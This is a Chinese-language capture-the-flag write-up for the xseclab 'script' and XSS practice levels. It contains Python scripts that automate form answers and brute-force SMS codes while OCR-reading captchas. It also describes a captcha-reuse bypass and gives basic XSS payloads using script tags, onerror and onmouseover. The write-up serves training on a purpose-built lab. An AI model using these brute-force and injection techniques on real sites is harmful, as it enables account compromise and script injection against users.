腳本關
-
key又又找不到了
點擊提供的鏈接后,實際發生了兩次跳轉,key 在第一次跳轉的網頁中,key is : yougotit_script_now
-
快速口算
要求2秒內提交結果,肯定不能手動算了,寫程序獲取算式並計算出結果提交
#!/usr/bin/env python3
# Author: renzongxian
import requests
import re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID=$Your Cookie'}
# 獲取算式
resp_content = requests.get(url, headers = header).content.decode('utf-8')
matches = re.search("(.*)=<input", resp_content)
# 發送結果
data = {'v': str(eval(matches.group(1)))}
resp_content = requests.post(url, headers=header, data=data).content.decode('utf-8')
# 取得響應內容
matches = re.search("<body>(.*)</body>", resp_content)
print(matches.group(1))
運行得到答案key is 123iohHKHJ%^&*(jkh
-
這個題目是空的
什么才是空的呢?答案是null
-
怎么就是不彈出key呢?
點擊之后沒有彈窗,查看網頁源代碼發現點擊鏈接會觸發 JS 代碼中的函數 a(),但是 JS 代碼中有三個 return false; 的函數導致函數 a() 失效,那么我們可以把代碼完整復制到本地的html文件,然后把<script>
標簽那3個干擾的函數刪除,最后在瀏覽器里打開就可以彈窗了
提交前14個字符slakfjteslkjsd
-
逗比驗證碼第一期
密碼可以暴力破解(范圍1000~9999),驗證碼一直用一個就行,用 Burp Suite 一會就破解出來了
密碼正確時響應為key is LJLJL789sdf#@sd
-
逗比驗證碼第二期
驗證碼不能一直用一個了,試了試正確輸入一次驗證碼后再用 Burp 跑的時候保持vcode為空就行(具體原因見逗比的驗證碼第三期)。密碼正確時響應為key is LJLJL789ss33fasvxcvsdf#@sd
-
逗比的驗證碼第三期(SESSION)
首先補充一些驗證碼的知識
驗證碼發布的流程
1. 顯示表單
2. 顯示驗證碼(調用生成驗證碼的程序),將驗證碼加密后放進 session 或者 cookie
3. 用戶提交表單
4. 核對驗證碼無誤、數據合法后寫入數據庫完成
用戶如果再發布一條,正常情況下,會再次訪問表單頁面,驗證碼圖片被動更新, session 和 cookie 也就跟着變了
但是灌水機操作不一定非要使用表單頁面,它可以直接模擬 post 向服務端程序發送數據,這樣驗證碼程序沒有被調用,當然 session 和 cookie 存儲的加密驗證碼就是上次的值,也就沒有更新,這樣以后無限次的通過post直接發送的數據,而不考慮驗證碼,驗證碼形同虛設!
所以,在核對驗證碼后先將 session 和 cookie 的值清空,然后做數據合法性判斷,然后入庫!這樣,一個漏洞就被補上了!
仍然可以用第二期的方法,密碼正確時響應為key is LJLJLfuckvcodesdf#@sd
-
微笑一下就能過關了
這個題重點在於看懂源代碼中的 PHP 代碼,可是我對 PHP 不熟,基本能看懂邏輯但是不知道怎么構造參數,解體思路可參考http://www.waitalone.cn/security-scripts-game.html,最終構造出http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/?^.^=data://text/plain;charset=unicode,(●'◡'●),然后訪問就能得到hkjasfhsa*&IUHKUH
-
逗比的手機驗證碼
點擊獲取驗證碼提交后提示“please login as 13388886667”,返回重新獲取驗證碼,然后把手機號也改成要求的,提交后就可得到key is LJLJLGod!@@sd
-
基情燃燒的歲月
點擊獲取手機驗證碼,提示是3位純數字且開頭不為0,放到 Burp 里面暴力破解,得到“你傷心的發現他/她正在跟你的前男/女友勾搭.....於是下決心看看前任除了跟你的(男/女)閨蜜勾搭,是不是還跟別的勾搭..前任的手機號碼是:13399999999”。修改手機號后同樣的方式暴力破解,得到key is LKK8*(!@@sd
-
驗證碼識別
考查驗證碼識別,需要用到 Python3 的兩個強大的庫:Pillow(依賴libjpeg和zlib) 和 pytesseract(依賴tesseract-ocr),同時注意到網頁源碼注釋中寫着“驗證碼改為了3個數字,從100到999”
#!/usr/bin/env python3
# Author: renzongxian
import pytesseract
from PIL import Image
import requests
import os
cur_path = os.getcwd()
vcode_path = os.path.join(cur_path, 'vcode.png')
header = {'Cookie': 'PHPSESSID=$Your Value'}
def vcode():
# 驗證碼識別函數
pic_url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'
r = requests.get(pic_url, headers=header, timeout=10)
with open(vcode_path, 'wb') as pic:
pic.write(r.content)
im = pytesseract.image_to_string(Image.open(vcode_path))
im = im.replace(' ', '')
if im != '':
return im
else:
return vcode()
url = 'http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'
for i in range(100, 1000):
code = vcode()
data = {'username': '13388886666', 'mobi_code': str(i), 'user_code': code}
r = requests.post(url, data=data, headers=header, timeout=10)
response = r.content.decode('utf-8')
if 'user_code or mobi_code error' in response:
print('trying ' + str(i))
else:
print('the mobi_code is ' + str(i))
print(response)
break
運行得到key is 133dbc85dda4aa**)
-
XSS基礎關
按 F12 就能看到關鍵 JS 代碼,分析代碼邏輯可知只要用成功執行alert(HackingLab)
就可以了,很簡單,在輸入框里輸入<script>alert(HackingLab)</script>
提交就可以了,得到key is: myxssteststart!
。 -
XSS基礎2:簡單繞過
上一題的 payload 不能用了,會提示檢測到 XSS,換一種方式,輸入<img src=# onerror=alert(HackingLab) />
,成功彈窗,並得到key is: xss2test2you
-
XSS基礎3:檢測與構造
上一題的 payload 又不能用了,只能慢慢試一下到底是哪些字符串被判定為 XSS,然后想辦法繞過。第一個輸入框中輸入的內容提交后會寫入第二個文本框內,但是寫入前做了處理,我試着閉合單引號並加入事件,但是一直不成功,后來在網上搜了搜才知道,這個題當 value 為敏感字符串時,出現的敏感字符串反而不會被過濾,這樣就可以構造alert' onmouseover=alert(HackingLab)>
並提交,將鼠標移動到第二個輸入框上方就能觸發彈窗,得到key is: xss3test2youOK_striptag
-
Principle很重要的XSS
過濾了很多字符,還沒有找到突破點,注釋里說“該題不困難”,但確實沒有思路……